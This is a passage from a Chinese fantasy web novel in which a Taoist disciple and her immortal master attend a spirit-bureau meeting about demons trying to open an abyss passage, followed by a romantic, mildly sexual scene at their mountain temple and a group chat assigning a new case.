“都有可能。不过为师和你朝夕相伴这么久,没有发现你身上有什么异常。” “为什么遇到你以后就不再做梦了呢?” “为师也想不通。” “那就算啦。”傅清微说,“我仅存的秘密都告诉你了,以后吵架不可以翻旧账哦。” “我又不像你。” 傅清微笑起来。 人类对大脑的了解不足百分之十,傅清微的梦究竟是空穴来风还是大脑久远的潜意识,比如她某天观看电影种下的种子,她认识性取向的一个过程,无法证明。 穆若水右手的拇指将其他指节挨个掐了一遍。 她和傅清微之间莫名其妙的羁绊还没有得到解释,又来了一个梦境,这二者会有联系吗? 难道真的是她的前世? 按理说不会有前生记忆,但甘棠在先,万一她的灵魂强大,转世后仍然能影响到大脑。 穆若水没转过世,不能完全排除这个可能。 和她成亲的人该不会真是自己吧?有些荒谬了。 根本不想把前世牵扯进来的穆若水放弃了思考。 * 灵管局中央大楼。 五楼会议室外。 “穆姐姐!”喜出望外的声音从身后传来。 傅清微回过头,看见是曾有过一面之缘的邱老——灵管局顾问邱月白。 傅清微转脸牵了牵穆若水的衣袖,对她说:“那就是邱老,她在叫你。” 戴着面具的穆若水低声道:“谁许她叫得这么亲热?” 傅清微:“忍一忍嘛,不要发火。” 穆若水转过身来,隔着涂满颜料的傩戏面具面无表情地盯着几步开外的邱月白。 邱月白的目光在二人之间转了一圈,似乎闪过一丝茫然,尔后视线定格在穆若水的面具和腰间悬着的黄玉上。 邱月白:“穆姐姐?” 穆若水默不作声。 傅清微打圆场道:“我师尊今日嗓子不舒服,不便开口,请邱老见谅。” 穆若水哼了一声。 显然对她给自己找借口不满意。 她想如何便如何,只有傅清微在意这劳什子规矩。 邱月白在她的眼神中找不到半点熟悉之感,果然是忘了,抬手作礼:“晚辈邱月白,见过慈让真人。” 穆若水平淡地嗯了一声。 邱月白抬头,又看向她认识的面具。 穆若水偏头对傅清微说话的语气温和百倍:“我们进去?” 傅清微不好意思地看向邱月白:“邱老请。” 穆若水闻言不管不顾地拉着她先进去了。 什么档次,比她先进门? 会议室空无一人,但桌面已经摆好了写有名字和头衔的铭牌,特别顾问穆若水在主位下首第一位。 穆若水就近入座,傅清微坐在她身后的圆凳上。 灵管局甚至专门给她准备了凳子。 邱月白的位置在对面,她路过穆若水身边,闻见她身上难以忽视的返魂香味道,和从前一模一样。 邱月白在自己的座位坐下,没有和穆若水攀谈。 傅清微打量着这间看起来平平无奇却充满科技感的会议室,正和师尊咬耳朵,岁已寒、占英和一位陌生的上了岁数的女士走了进来。 占英找了个边边坐下。 岁已寒先陪老人入座,再回到主位。 傅清微扫了眼老人面前的铭牌:总局副局长吕玉。 傅清微入职以后听同事和直属上司提起过,总局局长深居简出,神龙不见尾已久,只挂了名誉头衔。副局长才是真正管事的人,私底下大家都去掉副字,直接叫局长。 傅清微站了起来,就差并脚行礼了,严肃道:“局长好。” 老人和蔼地朝她笑笑。 “傅清微是吗?” “是的。” 傅清微受宠若惊,看了一眼穆若水,不用说肯定又是沾师尊的光。 “英杰出少年。”老人夸道。 傅清微都不知道说什么好了,老人主动道:“坐下吧,今天我不是主角,别把你给带紧张了。” “是。” 穆若水摆谱中,谁也不搭理。 岁已寒:“见过慈让真人。” 总局副局长:“慈让真人安好。” 两位大佬问好,她只回了一句冷淡的嗯。 傅清微在桌子底下紧张到掐着自己道袍里的胳膊。 救命,还得是师尊,云淡风轻不在话下。 副局长吕玉年事已高,岁已寒正值青年,她是总局主任,本来就和分局局长同级,甚至压过一头。在吕玉的放权下,俨然成为灵管局掌握实权的头号人物,主持会议再合适不过。 岁已寒坐在主位,打开笔记本,敲了几下键盘,说:“人都到齐了,会议开始吧。” 啊? 傅清微看着会议室空了一大半的铭牌和座位。 上哪儿到齐了?就算是鬼她也该看得到啊。 岁已寒:“因为各位局长和顾问都远在分局坐镇,不能专程赶来,所以会议采取全息投影的形式。” 傅清微:“……” 现场似乎只有她不知道,哦,师尊也不知道。 太好了,占科也没见过世面! 空着的席位陆续出现了投影,傅清微也是一次性把所有大佬的面都见了。 西南总局副局长吕玉,办公室主任岁已寒,华中、华南、东北、西北等,共六位分局局长,四位特别顾问,全员到会。 岁已寒介绍道:“这位是第一次参加会议的穆顾问。相信这次有她的到来,预示着事情一定会有圆满的结果。” 穆·好运来·若水:“……” 大约是为了照顾第一次参会的穆若水和傅清微,岁已寒从头开始说起。 “五年前,邱老占了一卦,得到了一则预言:‘岁星当令,妖魔现世’。她翻阅古籍,发现类似的预言在一百多年前出现过,之后持续了长达数十年的战乱,血光遍地,妖魔横行,民不聊生。” “四年前,我们发现了第一缕魔气的踪迹,悄悄地在向人间渗透,发展到今天已经愈演愈烈,每一天都有超自然因素的凶案发生,有无辜的人遇难,它们作乱的目的是什么?我们已经查到了。” 傅清微坐直了身子。 岁已寒道:“根据过往资料记载,在最混乱的战争年代,尸横遍野,血气和凶煞之气滋生了许多魔物,同时通往地底的深渊通道被打开,爬出了很多不属于人间的怪物,这些先天和后天的,我们统称为魔。修士们发明了封魔阵,一个一个地将魔物赶回地底,付出了惨痛的代价最终关闭了通道。和平年代以来,那些游荡在人间的漏网之鱼也陆续被清理。” 邱月白听到“漏网之鱼”眸子颤了颤,垂下了眼帘。 岁已寒说:“三十年前,调查二处的前处长……折枝处长与魔交手,不幸罹难,那是我们最后一次见到魔的形体,而不是以一缕魔气存在。我们近日活捉了一个被魔气侵蚀的人,审问出了它们的目的,那就是打开深渊通道,让成千上万的魔物重临人间。” 一位局长提问道:“是想蛊惑人心,重新挑起战乱吗?” 岁已寒:“这想必是它们一直在做的,但今时不同往日,至少战火不会在我们的国土重燃。它们有别的办法。” “是什么?” “它们有一个领头的,正在寻找同道之人。所谓的同道之人,据说是能够帮助打开深渊通道的当世最强,它们感应到了TA的气息,正在往西南聚集。” “只是一个人?” “或许不是人。” “岁主任觉得可能是什么?” 岁已寒看向那位说话的局长,目光不偏不倚,说:“目前不清楚,我正在调查,有结果会立刻告知大家。” 傅清微看着穆若水的背影,她蓦地闪过了一个可怕的念头,不敢做出任何表情,免得引来猜疑。 穆若水面具后冰冷的眼神盯住了岁已寒。 第109章 岁已寒:“一年前, 邱老又卜了一卦,卜得‘解卦’,上震下坎。卦辞‘利西南;有攸往, 夙吉。’(注)意思是化险为夷的关键在西南方, 请速奔赴。” “去年西南只出了一件大事, 就是慈让真人出关,就在卦象出现后不久。所以灵管局第一时间派占英赶赴蓬莱观, 请真人坐镇灵管局。” 后一句话是岁已寒专程看着穆若水解释的。 也表明了灵管局对她的重视并非别有居心, 而是卦辞的指引。 穆若水修长指节搭在实木桌面上,漫无节奏地无声敲着, 不置可否。 傅清微心想:这是在向师尊示好吗? 穆若水往她的椅子里自在地靠了靠, 视线落向右后方。 傅清微口型:什么? 穆若水戴着面具看不到嘴型变化,于是出声说:“手给我。” 傅清微疑惑地伸出手去。 穆若水将她的手包进广袖里,慢慢地揉捏她的手腕, 往下寻到修长指尖把玩。 傅清微:“……” 不是, 这大庭广众,堂堂高层会议,会不会太嚣张了? 岁已寒三人视若无睹。 傅清微抽了一下没抽出来, 只好装出手不是自己的样子。 被捏了一会儿她又想,师尊看起来自在,是不是心里在不安?岁主任刚刚那句话,连傅清微都听出来似乎在点她。 岁主任知道师尊不是人了吗? 她会对穆若水不利吗? “我们面临的对手越来越棘手了。”岁已寒先抛出了一个结论, “它们已经团结起来了,甚至有了智慧。目前我们怀疑魔气之间可以互相吞并吸收, 在它们有意识的行为下, 可能已经进化出实力非比寻常的魔气,乃至魔物。” “两个月前, 鹤市出了一桩知名企业家被害案,死者支离破碎,死状惨烈,凶手至今未归案。在网络引起轩然大波,以及多地恶性事件频发,手段故意残忍,借着网络传播的力量引起了民众的极大恐慌。还有趁机模仿作案浑水摸鱼的人,卷入案件中,让缉凶变得更加困难。” “这些恐慌、畏惧,放大的负面情绪和激起的报复欲望,对魔来说都是一等的补品。毫无疑问,它们在飞速壮大。” “比起无差别随机恶性杀人案,更值得我们警惕的是选择杀人。比如提到的企业家徐达旭,社会名望高,喜好独居,飞僵潜入室内,杀人于无形。华北分局上个月接到一桩案子,死者是一线明星,被发现时死在卧室,死状同样不忍目睹,同样掀起舆论风暴。” 华东分局的局长补充说:“前天我们这有千万粉丝的主播遇害,手法大同小异。还没来得及上报。” 岁已寒:“被抓住的那个人说的没错,它们之间应该已经有了一个领袖,幕后主使策划了这些案件。” 华中分局局长道:“如果不是领袖,是它们集体进化出了智慧呢?” 被魔气同化的人行走在世间,智慧与常人无异,深入人类社会,那才是真的末日。 岁已寒:“首先我认为没有这么快,选择杀人的作案频率也证明它们无力操控多时多地作案。其次如果真的到了那一天,我们的身躯就是阻止妖魔踏碎人间的最后一道屏障。” 众人都面色凝重,有担忧,有不安,唯独没有畏惧。 先辈一代代传下来的重任,终有一日会落在她们肩头,该轮到她们守卫这一程太平了。 岁已寒缓了缓语气,说:“我以为大家不必太过忧虑,事情远没有到不可挽回的地步。既然明白了它们的目的,难道我们不可以未雨绸缪?抢占先机先杀了那个领袖?” “岁主任有线索?” “有。” “总局针对被魔气侵蚀的妖、精、怪,主要是妖,技术部门进行了解剖和详细的试验,活捉了部分妖魔,检测它们和未被魔气侵蚀的妖的区别。” 这就是灵管局当时为什么要把死去的妖魔尸身带回局里研究,科技日新月异,现代有现代的进步。 岁已寒说,“如果把魔气比作一种未知能量,它们的侵蚀是一种改造,完全魔化就是异化成魔。我曾用天雷除了一条蛟,虽然蛟身破坏严重,但它的异化程度还在,实验室里一段蛟身就可以引起其他的魔气向它流动。” “在封闭环境下,拼凑出的完整蛟身甚至能缓慢地产生魔气,因为它死了,所以魔气很微弱。” “越强大的妖,越能异化成强大的妖魔,它们的身体不仅是引动世间魔气的漩涡,更是一个媒介。” 什么什么? 傅清微听得脑子不够用了。 其他人也面面相觑。 岁已寒:“如果凭空产生魔气这句话不好理解的话,我们换一个词,叫作降临。新的魔气不是来自于人间,而是另一个世界——深渊。” 女人抬起少见锐利的双眼,直视众人,落点掷地有声,冲撞着现场所有人的胸腔。 这次发言的是德高望重的顾问邱月白,她沉声问:“岁主任有证据吗?” “只是我的推测,但我有百分之九十的把握。” “请说说你的依据。” 如果岁已寒的猜测正确,那危机的到来比她们想象的还要近一些。 “邱老还记得去年东海的妖祸吗?” “当然。” 去年十月,傅清微第一次踏入灵管局,邱月白和岁已寒给她看了招鬼的体质,半哄半骗地送她去了蓬莱观。邱月白因为华东分局求援,急着去东海平复暴动,没能第一时间去拜会苏醒的慈让真人。 大海博深,海底生物丰富,修行有术的精怪妖比陆地只多不少。因为海域广阔,隔段时间出点海怪作乱的事都在预料之中,华东分局也始终游刃有余。 直到一头一千多年的老鼋在它的海域内兴风作浪,沉没了路过的商船和民船,死亡人数高达上百。 包括局长本人在内,华东分局有能力解决的人不超过两个,而且作乱地点在海域,战斗力要再打折。鼋乱不能再拖,以防万一局里直接让可以请神的邱老去了,包括老鼋在内,暴动的有十数只海妖,邱月白赶到后第一时间稳住了局面,在华东分局又待了两个月才彻底平复暴乱。 这次暴动比蛟祸更早,规模更大。 直到现在,海上仍然时常不太平,灵管局华东分局划出了几块区域,严禁商船和附近的渔民擅入。 即便如此,偶尔还是会有小股渔民莫名翻船遇难,比往年的频率高多了,沿海人心惶惶。 海里有流窜的魔气,至今无法完全被消灭。 这是深渊第一次试图降临。 鹤市的蛟祸是第二次,都失败了。 但它们同时也成功地从深渊召唤来了更多的魔气,溢向人间。 这就是为什么魔气里最强大的那部分都选择去蛊惑大妖,它们是带着使命来的,唯有强大的妖,才能让魔族进一步壮大,即使被天雷劈得粉身碎骨也在所不惜。 岁已寒的推测不是无根之木,灵管局几千年的历史,留下的记载浩如烟海。人类经历过的事往往在重演,她翻遍了藏书和手札,最近的一百多年前,也是人间先有战乱,哀鸿遍野,人的贪欲挑起了战争,军阀割据,百姓倒悬,百鬼夜行,魔气因而诞生。更惨烈的侵略战争,大半国土陷入战火,血流成河,魔族诞生,深渊通道随之打开,更多的魔物从地底爬了出来。 妖魔白日纵横,暗无天日的时代开始了。 修士拼死抵抗,十几年后,历经苦难的国家迎来了一个全新的时代。随着魔物们一个个被消灭,深渊通道彻底关闭,妖魔绝迹人间。 岁已寒查阅了相关记载多次,也没有找到通道或者封印在哪。 在座诸位若有所思。 傅清微蹙起了眉头。 岁已寒环视众人,轻声说:“诸位,谁说深渊通道一定是一条具体的通道呢?” “它们不是要打开一道门,而是要制造一道门,媒介越强大,所能召唤的魔气越多。也许它们企图找到的那个当世最强,可以直接将深渊魔族降临人间。” “人不行,因为人族肉身羸弱,承担不了作为媒介的强度。所以我推测它们要找的对象或许不是人。” “即便魔气不针对人,不代表在座的各位就能掉以轻心,你们是抵御魔族入侵的中流砥柱,万万坚定道心,不可为魔气所惑。阮局长,你更要谨慎小心。” 华南分局局长的投影点了点头。 “我会谨记。” 傅清微正在疑惑。 穆若水捉了她的手摊开,在她的掌心一笔一划地写字:“妖。” 傅清微心里哇了一声。 原来灵管局有妖都做到分局局长了,不知道她认识的璇玑以后能不能也当上局长? 她能活那么长,好好干怎么也能混个处长当当吧。 岁已寒:“各局辖区内有潜心修行的大妖,劳驾递个信,让它们别受魔族的蛊惑,为他人作嫁衣裳。至于在座诸位,我再提醒一次,魔族狡诈,无孔不入,万不可放松警惕。” 傅清微看了一眼岁已寒,虽然她的目光没放在穆若水身上,但傅清微老觉得她是说给师尊听的。 傅清微将自己的圆凳悄悄往前挪了挪,坐得离穆若水更近一些。 穆若水柔和的表情传达不出来,轻轻捏了捏她的手指。 岁已寒:“魔族想必不知道我们已经知晓了这个消息,有所准备总比没有准备好。即使前路艰难,相信我们可以打赢这场仗。” 华北分局局长:“那它们之中的那个策划一切的领袖?我们该怎么找到它?只要有它在一日,魔气就会越来越强大,总有一天我们会对付不了。” 岁已寒:“总局会继续追查下去,它现在应该就在西南,找它想找的同道之人。” “诸位保重。” “保重。” 没有寒暄语,各位局长向同仁互道了一声,结束了本次会议。 会议室里坐着的就只剩下穆若水、傅清微、岁已寒、邱月白五人。 傅清微第一时间问邱月白:“卦辞是真的吗?” 邱月白点头:“我刚卜出解卦,就传来穆……慈让真人出关的消息。” 比起总局主任岁已寒,傅清微更相信穆若水对她有救命之恩的邱月白说的话。 既然如此,是不是说明师尊真的是解局的关键?但她应该懒得去解这个局吧,除非自己求她。 岁已寒果然走到穆若水面前,诚恳道:“穆顾问,若将来形势危急,可否求您相助灵管局?” 拉近乎也没用。 穆若水本来想一口否决,想了想自己在灵管局的“人质”,淡道:“看心情。” 她扭头一看,身后的人质竟然不见了。 傅清微高高兴兴地去找占英叙旧了。 “占科!” 占英抱着记录会议的笔记本电脑,整个人处于大脑过载的当机状态。 傅清微从她身后拍了拍她的肩膀。 “好久不见!” “好久不见傅道友。” 两个同龄人脑袋挨着脑袋聊了起来。 穆若水:“……” 傅清微话不多,简单地寒暄了几句就走回来,和穆若水一起离开了会议室。 占英带着电脑也出去了,顺手关上了门。 会议室只留下邱月白和岁已寒,两人默契地进了岁已寒的办公室。 许久以后。 邱月白经历了几次震惊之后,问:“你真要这么做?” 岁已寒:“与其我们大海捞针地去找,不如引蛇出洞。这是最快的法子。” “也是最冒险的方法。”邱月白低声说,“你既然怀疑她是……竟然还敢去试她?你就不怕她真的和魔族合作?” “邱老不相信自己的卦辞?” “怎么又扯到我身上,我当然相信卦辞。只是你胆子未免太大!” “魔族的领袖已经来到西南,就算我什么都不做,它难道就找不到她?我们的时间不多了,邱老,必须在形势变得更严峻之前找到它,先下手为强。” “罢了。” 邱月白甩了甩袖子,坐在了办公室的长沙发里。 “幸好我只是个顾问,你们当官的能抗压,我是扛不了一点,万一出事我自裁谢罪都不够。” 岁已寒给她沏了杯热茶。 邱月白边吹边抿了一口盖碗茶,岁已寒坐在会客的单人沙发里,目光带上了打量:“邱老不是一向最信任穆观主吗?怎么不相信她会站在灵管局这边?” “我……”邱月白借着低头喝茶掩饰自己的眼神,语气自然道,“我当然相信穆姐姐。” 她相信的是三十年前的那个穆姐姐。 邱月白再抬起头,已将主动权转到了自己手里:“你又为什么那么相信穆顾问?一旦出了差错你,就是千古罪人。” 她指着岁已寒。 岁已寒说:“我也不知道,直觉吧。” 蓬莱观第一代观主为苍生牺牲了自己。而慈让真人在历史、历代手札的记载里都有迹可循,宽容正直,即使性格有所出入,她也是蓬莱的传人,继承师门遗志。 如果她真的是……她想要屠杀人族,早在出关的那一刻就可以动手了,何必等到现在?还跑来灵管局开会,还带着家属,听了全程也没有当场发火。 把傅清微送到蓬莱观,是她们迄今为止走得最好的一步棋。 以小博大,说不定能博太平。 岁已寒托着下巴:“非要说个理由的话,她徒儿在我们手上,我们有人质。” 邱月白:“你们敢威胁她?” 岁已寒:“不不不不不,我们捧着还来不及,以真心换真心。” 邱月白一个字都不信她的。 占英单纯她信,这位三十多岁手握重权的主任,年岁不大,老奸巨猾。 岁已寒无奈。 她可是在慈让真人那里获得了堂堂“钱袋子”的荣誉称号,唯三微信好友之一。要是邱老见到她们师徒是怎么为穆若水师徒二人出钱又出力,鞠躬尽瘁的,就不会有这种误会了。 灵管局有大局要考量,她做主任不可能面面俱到,但无论当官还是做人,她都问心无愧。 傅清微对灵管局死心塌地,也是因为灵管局没有亏待过她,岁已寒师徒更关照有加,帮了她们很多忙。 没有她们俩,也没有如今的傅清微。 * 傅清微开车回蓬莱观的路上一句话都没说,紧紧抿住嘴,生怕隔墙有耳似的。 一路匆匆赶回了山上,时间正值下午。 穆若水就像出去散了个步回来一样自然,说:“我去做饭,你去看会儿书等我。” 傅清微:“师尊,你还有心情做饭?” “我为什么没有?” “岁主任说魔族要找一个不是人的天下第一,就差报你身份证号了!!!” “对,我身份证号还是她们给我办的。” “这时候你还玩幽默。”傅清微皇帝不急宫女急,围着她团团转,说,“怎么办?魔族找上门来怎么办?万一灵管局怀疑你和魔族勾结就更完了。” 傅清微圈转到背面,回头发现穆若水不见了。 穆若水舀了米出来,在竹管引来的山泉水下淘米,水流裹住细白的指节,动作不急不缓。傅清微叽叽喳喳的声音蓦地消失,空旷山林也有鸟雀啁啾的叫声。 穆若水淘米的身影和远处不时传来的鸟鸣使人不自觉地平静下来。 傅清微走到她身前看着她,因为穆若水微微弯着腰,所以傅清微也蹲下来了一点,不错眼珠地瞧她精致如谪仙的眉眼。 穆若水抬眼含笑:“怎么这样看我?” 傅清微说:“因为很喜欢你,一见你就喜欢。” 她凑过去,亲在女人微翘的唇角。 穆若水在她亲上来的瞬间闭上了眼睛。 既然师尊不提,傅清微暂时把焦虑压了下去。 穆若水暂许她待在了灶台下看火,只许看不许动手,半小时后,吃了一顿热乎的柴火饭菜。 她在院子里遛弯消食,穆若水搬出藤椅躺在上面,边摇晃边问她:“如果魔族真的找上门来,你希望我怎么做?” “我当然是希望你和她们划清界限。”傅清微想:师尊真的是魔吗? 她这么想着,也这么问出了口。 “说不好。”穆若水仍搬出这套说辞。 “那师尊有原形吗?”傅清微好奇,如果有的话,是不是能根据原形猜出来。 “大约是有的。” “好看吗?” “要是不好看呢?” “在我心目中师尊永远是最好看的。” 穆若水心说:花言巧语,上次做梦还被红眼珠吓到。 “师尊的原形是什么?” “是人。” “……” 傅清微再追问细节她却不肯说了。 穆若水又摇了两下藤椅,给傅清微喂了一粒定心丸,说:“我说过,只要你活着一日,我会永远站在你身边。” 傅清微不可避免地接下去想道:要是她死了呢? 但是这话说出来未免煞风景,她不能要求穆若水在她死后仍然保卫人族,她只能保证自己好好活着。 如果她真的死了,她希望师尊开心。做不到的话,把她忘了也好。 傅清微想:人的感情变化得可真快。前阵子她刚知道师尊长生不老,不甘做她人生的逗号,只陪她一程。现在似乎已经心甘情愿了,甚至希望自己死后她能忘了她,不要伤心太久。 喜欢是得到,而爱是放手。 那么她已经爱上她了吗? 藤椅的声音摇晃了一会儿。 穆若水侧过脸看她:“如果,我是说如果,我真的和魔族同流合污,你会亲手杀了我吗?” “不会。”傅清微毫不犹豫。 “为什么?” 她坚定的回答让穆若水疑惑,她不是以苍生为己任的吗? 因为我爱你。 傅清微在心里说出了真正的答案,接着回答了另一个:“你不是说我用剑捅你一次,能伤你一块皮算你输吗?我又杀不了你。” “……假如你可以杀我。” “那我也不会动手。” “为什么?”穆若水不断地求证,似乎是想让她向自己证明什么。 爱吗? 她内心没有这个字眼,可她的行动早已经在这么做了。 傅清微认真地想了想,说:“如果真到了那一天,我会在你面前自杀,我救不了天下也不忍心杀你,干脆眼不见为净。” 穆若水叹为观止:“好徒儿。” 傅清微揉了揉自己发红的脸,小声说:“我不是那种大义灭亲的人,我就是个普通人。” 苍生很重要,一人对她同样重要。 她都可以为之付出生命,但不能在中间做出选择。 “我以为你是。” “现在你知道不是了嘛。” 穆若水向她招了招手,空出藤椅身侧的位置。 傅清微躺上来,因为藤椅的宽度限制,她是侧躺在穆若水怀里,被女人抱着,枕在她的胸口。 穆若水温柔的声音从她头顶传下来。 “我向你保证,不会让你陷入这样的选择。” “为什么?” 傅清微发现自己还是想从她那里得到爱情的回应,但穆若水只是在她的眉心落下一吻。 傅清微抬起头看她,穆若水自然地低头吻住了她微启的唇瓣,主动和她缠绵湿吻,仍然一个字也没有说。 她大约有些动情了。 院子里有天有地,没有扰人清净的事物,万物都可爱。刚互诉衷肠过,心意相通的人就躺在怀里,回应着她的亲吻。 穆若水空荡的胸腔被另一种情绪填满了,溢出来,流动在她不断升温的血液里。 傅清微沉浸在和女人的亲密里,不知不觉她变成平躺在藤椅里,穆若水侧着,搂着她的手扯开了前襟的系带,她的脸埋进她的颈窝里,吻着她的细颈,来到锁骨。 傅清微虚着眼,头顶是晃动的天光。 夏季的裤子薄,两层也挡不住有情人的热潮。 傅清微正意识迷离,女人的声音像隔着一层玻璃,遥远地传来: “弄脏了。”她轻轻地喘着气。 “我现在给你舔干净,好吗?” 第110章 傅清微腰间一凉, 抚上女人的双手,勾住腰带。 眼见着身下也要一凉,傅清微迷离的双眼骤然被明晃晃的天光刺入, 山里的天空离她很远又很近。 她躺在藤椅的目光微落, 道观院墙外的树木葱郁, 一只翠羽白尾的鸟雀刚落在枝头,舔舐着自己漂亮的羽毛。 而师尊正要脱她的裤子, 在露天的后院里, 白日宣淫。 “别。” 傅清微按住她继续往下的手,一个激灵清醒过来。 她明明刚刚在和穆若水谈心, 谈得挺深入, 怎么突然就换了一种深入方法? 穆若水低头看她轻薄的裤子洇出的痕迹,再抬起头看向她的眼神带了钩子,轻声慢语:“真的不要我?” 傅清微扯过自己的外衫盖在腿上, 意志力再次战胜上风:“晚上再要。” “那好吧。” 穆若水懒洋洋地应了一声, 眼尾不自觉染上的桃色如宫墙上的飞鸟悄然远去了。 傅清微把藤椅留给她,自己回房间换衣服。 进门前傅清微回头看了她一眼,穆若水身体舒展, 长腿交叠,躺在藤椅里闭目养神。 藤椅一下一下地自己规律动着,唱着摇篮曲。 比起傅清微的不加节制,穆若水光天化日, 不分时间场地对她做这种事,似乎更不是人一些。 以上想法傅清微没有对师尊不满的意思, 只是对非人的体悟更深了。 她们俩结缘到现在, 起因是穆若水对她的需要,要她的血, 要和她亲密接触。到后来时常边缘性行为,给她下安睡符,趁梦睡她…… 穆若水对她的情感进度似乎是跟着欲望来的。 到现在她们勉强算心意相通,情之所至她一个字不吭,青天白日就打算要她。 她的思维和行为处事都与普通人不一样。 欲在情之前,或者习惯用欲来代替情。 动情不如动欲,欲望最直接强烈,亦不用思考。 她想要她的身体,却不承认她对她有特殊的情愫。 放在人类里,这何尝不是一种情感的惰性?但既然师尊不是人,傅清微只好暂时接受她的模式。 后院的风吹过来,绕过藤椅,拂过女人长长乌黑的发丝,路过傅清微的脸颊,一路进了屋内,掀动书桌前的几页纸张。 傅清微回过神往屋里走。 她忽然想:要是有一天,自己不让她碰了她会怎么样? 会气急败坏还是继续把自己弄睡着了上她?后者恐怕不管用吧,她已经知道她的套路了,梦里不是没感觉,醒来她还是可以质问她。 傅清微现阶段不打算这样试探她,她才刚刚真正尝到情欲的滋味,她们俩目前做的夜数不超过一只手,先让她享受一段时间鱼水之乐,至少让师尊给她舔干净几次。 傅清微站在淋浴间里,光想象就心口直跳,已经开始期待几个小时后的夜幕降临。 * 人间的八月仍在酷暑,山里的温度始终维持在二十多度。 百年宫观坐落在幽静的山林,与世隔绝,道观内外的树木都超过了百年,参天蔽日,站在树荫里感受不到一丝燥热。 距离晚饭时间不长,傅清微换好练功服以后没有去密林结界,而是在院子里练功,先打了一套强身健体的拳法,之后开始拿师尊当练手的工具人。 穆若水自甘自愿地走入了她在地上摆好的阵法里。 进去之前还回头朝她笑了一下。 傅清微差点吻上去。 穆若水面前站着一头威风凛凛的独角异兽,浑身金毛,四爪在地上宛如踏着雪,会吐火和风刃。 不知道傅清微最近又看了什么书,小脑袋总有很多新点子。 傅清微坐在师尊的藤椅里,看她在阵法里身形腾挪,双手宛如一对白鸟上下翻飞,出手如电,连带宽袍广袖在风中舞动,仙鹤清影,观来赏心悦目。 傅清微正用手机录像,上方跳出条微信消息。 在穆若水出来的前几秒,傅清微停止录像,才点开那条微信。 科长:【局里有新的任务给你,这次是联合办案,你和别的组。由二处的占科带队,具体名单我不知道,那边点名要了你】 傅清微:【好的科长,什么时候?】 科长:【就明天,地点等通知】 傅清微回了句好,穆若水的视线也落在她手机上。 “来者不善。” 傅清微没听清,回头看她:“什么?” 穆若水说没什么,她是站在自己的角度说的,现在她和傅清微一样归灵管局,无所谓了。 “项庄舞剑。” “意在沛公。”这句成语傅清微知道。 穆若水把她抱到一边站着,自己躺进了椅子里,说:“再去练会儿功,到做饭的点叫我,我眯会儿。” 傅清微懵懂不解,没忘记在女人的脸颊偷个香。 穆若水听着她练功时均匀的呼吸声闭目养神,两只手交叠搭在平坦的腰腹。 上午刚开完会,下午就有任务,还是占英带队。点名要的不是傅清微,而是和傅清微捆绑在一起的穆若水。 换句话说,冲她来的。 岁已寒太着急了,可能确实时间不多了。 她做得这么明显,不担心穆若水看出来,或者希望她看出来,勉强算光明正大的算计。 穆若水只想避世而居,和傅清微过安稳的日子。 偏偏情势和时局不允许。 又是这样。 总是这样。 穆若水蓦地睁开眼,抬起自己覆在左手手背的右手掌心,低头瞧见上面的几道新鲜掐痕。 ——她刚刚又忘记一次事了。 是什么呢? 闹钟响了,傅清微跑过来,说:“师尊,该做饭了。” 穆若水瞧进傅清微那双注视她的漂亮凤眼,望得很深,很远,似乎在透过这双眼睛,看向遥远的某处,或者某个人。 如果存在的话。 傅清微不喜欢,打断她:“师尊?” 穆若水阖动了一下眼睫,说:“怎么了?” “不是你让我叫你做饭吗?” “到点了?”穆若水缓下呼吸起身,说,“我去做晚饭。” 傅清微跟在她后面,说:“师尊,我不喜欢你用刚刚的眼神看我。” “以后不会了。” “你是不是想起了什么?” “0。” 傅清微拦在她面前,穆若水和她脸对脸,差点碰一起。 穆若水忍住了蹙眉的冲动,主动往后挪了一步,让她能看到自己的脸和表情。 “只是走了个神。”她向傅清微保证没有二心。 “走神也只能想我。” “……” “我吃醋昏头了,对不起。” 女人的直觉总是敏锐,即使一道眼神,傅清微也察觉了她这一眼的非同寻常。 “无事。” 穆若水照例将她请出厨房,开始洗菜择菜。 傅清微蹲在屋檐下喂猫,看上去有点蔫头耷脑。 她本来想问穆若水是不是想起旧情人了,咽下了翻旧账的冲动,可她含情脉脉的样子也太明显了,令傅清微如鲠在喉。 师尊都没有用这种深情的眼神看过她。 有没有可能她不是不会爱,只是早就给了另一个人。 傅清微越想越酸,眼眶和鼻子都热热的,水珠从上方滴下来,小三花甩了甩毛茸茸的脑袋,矫健地跑开了。 它停在不远处昂着头朝这边张望,不一会儿又慢慢地走了回来,翻开肚皮躺在傅清微脚边。 养咪千日,用咪一时。 傅清微一把将小三花抱起来,埋进它肚子的毛里蹭脸,流了一半的眼泪全都擦在它肚皮上。 心情顿时好多了。 她安慰自己那个人得到了她作为人的那一世,而自己会拥有她作为(?)的这一生。其实也没有一生,只是一程。 这样想还是那个人赢了,穆若水死的时候还穿着和她成亲的喜服。 傅清微陷入内耗,凭自己完全消化不了。 “师尊,你出来一趟。” “什么事?”穆若水一边应着,一边从厨房走出来。 傍晚的阳光带着凉意,傅清微站在院子里,说:“你亲我一下。” 穆若水扭头就走。 “你不亲我可能要哭了。” “……”徒儿莫名其妙,但穆若水怕她真哭,回来偏头亲了亲她的唇。 “舌吻那种。” “……” “我先把菜盛出来,锅要糊了。” 穆若水压了灶火,满足了傅清微想要舌吻的心愿,附赠了时长,傅清微攀着她的肩和她在院子里拥吻,敏感的皱起来的心被一点一点地抚平。 到吃饭的时候,她又是快乐的应届女大,积极干饭人。 两只猫在屋檐下大快朵颐。 穆若水面前放着一只空碗,偶尔见傅清微吃得香才动一下筷子。 她看向傅清微的眼神也很专注,心无旁骛。 傅清微彻底高兴起来。 穆若水的心里也松了一口气。 有的时候她不是很明白傅清微在伤心什么,但她总能感知到她低落的情绪。 就像她们之间莫名其妙的感应。 * 当晚,傅清微和穆若水被拉进了一个群,能拉傅清微进群的有很多,有权限拉穆若水进群的就那有名有姓的三个人。 群里还有两个人,群主占英,群员更眼熟了。 【专·治不服·案组(4)】 傅清微:【啊啊啊啊啊】 龙璇玑:【啊啊啊啊啊】 傅清微:【璇玑,你真是长大了[欣慰.jpg]】 龙璇玑:【[烟.jpg]嘿嘿】 傅清微:【你怎么在这里啊?】 龙璇玑:【我也是被调来的,这次终于可以和娘亲在一起了[大哭]】 占英:【娘亲?】 傅清微:【认的干女儿】 龙璇玑:【[娘亲贴贴.jpg]】 占英:【好的,具体任务明天见面说,今晚大家先睡个好觉吧】 傅清微:【只有我们四个吗?】 占英:【是的】 下一秒:[系统消息:穆慈退出了群聊] 占英:“……” 傅清微连忙出来解释:【她和我在一起,就不用加群了】 傅清微点进置顶,按住说话发送:【[语音]师尊,你洗完澡了?】 